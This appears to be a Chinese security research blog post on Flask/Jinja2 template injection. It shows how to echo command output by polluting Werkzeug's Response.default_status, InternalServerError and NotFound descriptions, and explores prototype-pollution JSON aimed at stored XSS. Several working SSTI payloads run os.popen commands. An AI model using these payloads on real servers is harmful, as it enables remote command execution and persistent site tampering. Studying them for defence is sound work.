写这篇文章的起因是我在无聊逛先知社区时发现了这两篇文章
Jinja2-SSTI通过Server请求头带出命令回显
Jinja2-SSTI 新回显方式技术学习
看完这两篇文章我对文章内容进行了学习以及复现有了几个想法。
1.在我复现时发现了一个致命的问题,就是其响应的请求头内容因为要经过latin-1编码必须要为ascii码字符,即其一遇到中文字符便会报错(我个人经过思考觉得有如下解决方法,1.通过篡改报错页面的响应进行回显,2.通过编码来输出字符)
2.文章作者尝试对500回显时的内容进行污染但是其却失败了,作者污染的是responses下的500元组,但我查看了一下其值发现这于flask真正的500回显相差极大。那么那应该不是控制500回显的类。真正的类是什么呢?(我会在下面给出答案)
3.这个ssti的回显方法本质上是将回显的变量进行更改,即污染。那么这个能否在原型链污染中进行一下漏洞利用呢?
请求头
首先我们要了解一些flask的请求和响应是利用了什么。
flask的请求和响应主要利用了werkzeug,那么我们就要先了解一下什么是werkzeug,其结构又是什么。
werkzeug是一个基于python开发的一个web工具包,其是flask的核心组件之一。其功能有http工具,路由系统。调试等。
其是一个模块化的库。其核心模块如下
因为我们要研究新的回显方式所以我们可以把目光放到werkzeug.wrappers和werkzeug.exceptions这两个模块下。
当然上面是我个人的想法,我看的那两篇关于新型回显的文章都对WSGIRequestHandler进行研究.导致两位作者都没能找到如何在500响应body中回显命令执行,篡改WSGIRequestHandler从而对响应头进行修改的具体原理那两位作者已经写的很详细了和这里就不再赘述了。
我这里讲一下我个人再复现过程中发现的其他篡改方法
因为我的入手点是再werkzeug.wrappers和werkzeug.exceptions下于是我先查看了werkzeug.wrappers的response.py,再其初始化Response类的地方打上了断点,而后发现再响应类下有许多可以篡改的请求头
而这些类都是在werkzeug的wrappers内的request.py定义的Request类的属性
即我们可以通过以下payload找到我们要污染的类的属性
{{url_for.__globals__.__builtins__['dir'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response)}}
我们在里面可以找到default_status类,这个类是控制请求状态码的、
我们可以通过setattr来修改这个属性的值,将这个属性的值赋值为我们命令执行的结果
payload
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
但当我尝试命令dir时却出现了问题如下。
原因我在上面说过了是因为请求头在发送给客户端前会进行latin-1编码这导致了报错
这时我们可以尝试使用base64编码
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}}
剩下的请求头我就不再赘述了
错误页面的污染方法
上面说到了请求头无法返回非ascii码字符,即我们需要使用编码来输出命令执行的结果。
而服务器的响应body是可以正常回显非ascii字符的。
这时候其实我是想找能否对正常的200回显的body进行篡改,于是我尝试污染了data的值,但是我发现并没有使回显的值发送改变,而后简单调试了一下发现:在发给客户端响应时会使用set_data来更改其值,其值会被更改为参数response的值。
由于本人技术有限,无法找到污染这个response的方法,如果有大佬能找到还请指点
于是本人就尝试寻找污染错误页面的方法。
因为werkzeug的错误页面时固定的于是本人猜测其值肯定是预设在某个类下了。于是我将目光放在了werkzeug.exceptions上
我们看这个模块的代码,可以发现其定义所有的错误状态码类,我这里就拿500状态码来说一下吧
我们可以发现其code为状态码的值,description定义了响应的错误内容,那么这种写死的肯定没有二次赋值,那么我们就可以将其污染为我们命令执行的结果
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}
可以发现其仍然可以回显中文即非ascii字符
同理我们还可以污染404等
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}
关于原型链污染的思考
XSS
最简单粗暴的想法。既然我们可以污染错误页面的回显内容那么我们不就能对其进行xss了吗。个人认为一个人进入网站不小心触发404 505 500这种错误状态简直不要太常见,而这种xss如果不重启服务是会一直存在的,算是一种存储型xss。还是具有一定危害性的
payload如下
{
"__init__": {
"__globals__": {
"sys": {
"modules": {
"werkzeug": {
"exceptions": {
"NotFound": {
"description": "aaaa"
}
}
}
}
}
}
}
}
但是要实现上面的payload需要导入sys
但正常的flask app.py文件并不会导入sys,但是其web页面一定会导入一些其他的模块
参考这篇文章Python原型链污染变体(prototype-pollution-in-python)我们可以知道我们可以通过
<模块名>.__spec__.__init__.__globals__['sys']
而这个模块名可以是任意的模块。
我这里就随便导入应该math模块来做演示
即我们在原型链污染时可以通过如下payload来获取sys
{
"__init__": {
"__globals__": {
"math": {
"__spec__": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"werkzeug": {
"exceptions": {
"NotFound": {
"description": "1263"
}
}
}
}
}
}
}
}
}
}
}
}
结果
悲404页面的字符是经过jinja2模板渲染的其会自动url实体化编码
那么这想造成xss就不是一般的难了
本人还是tcl了.希望有大佬看到能告知一下该如何继续污染来造成xss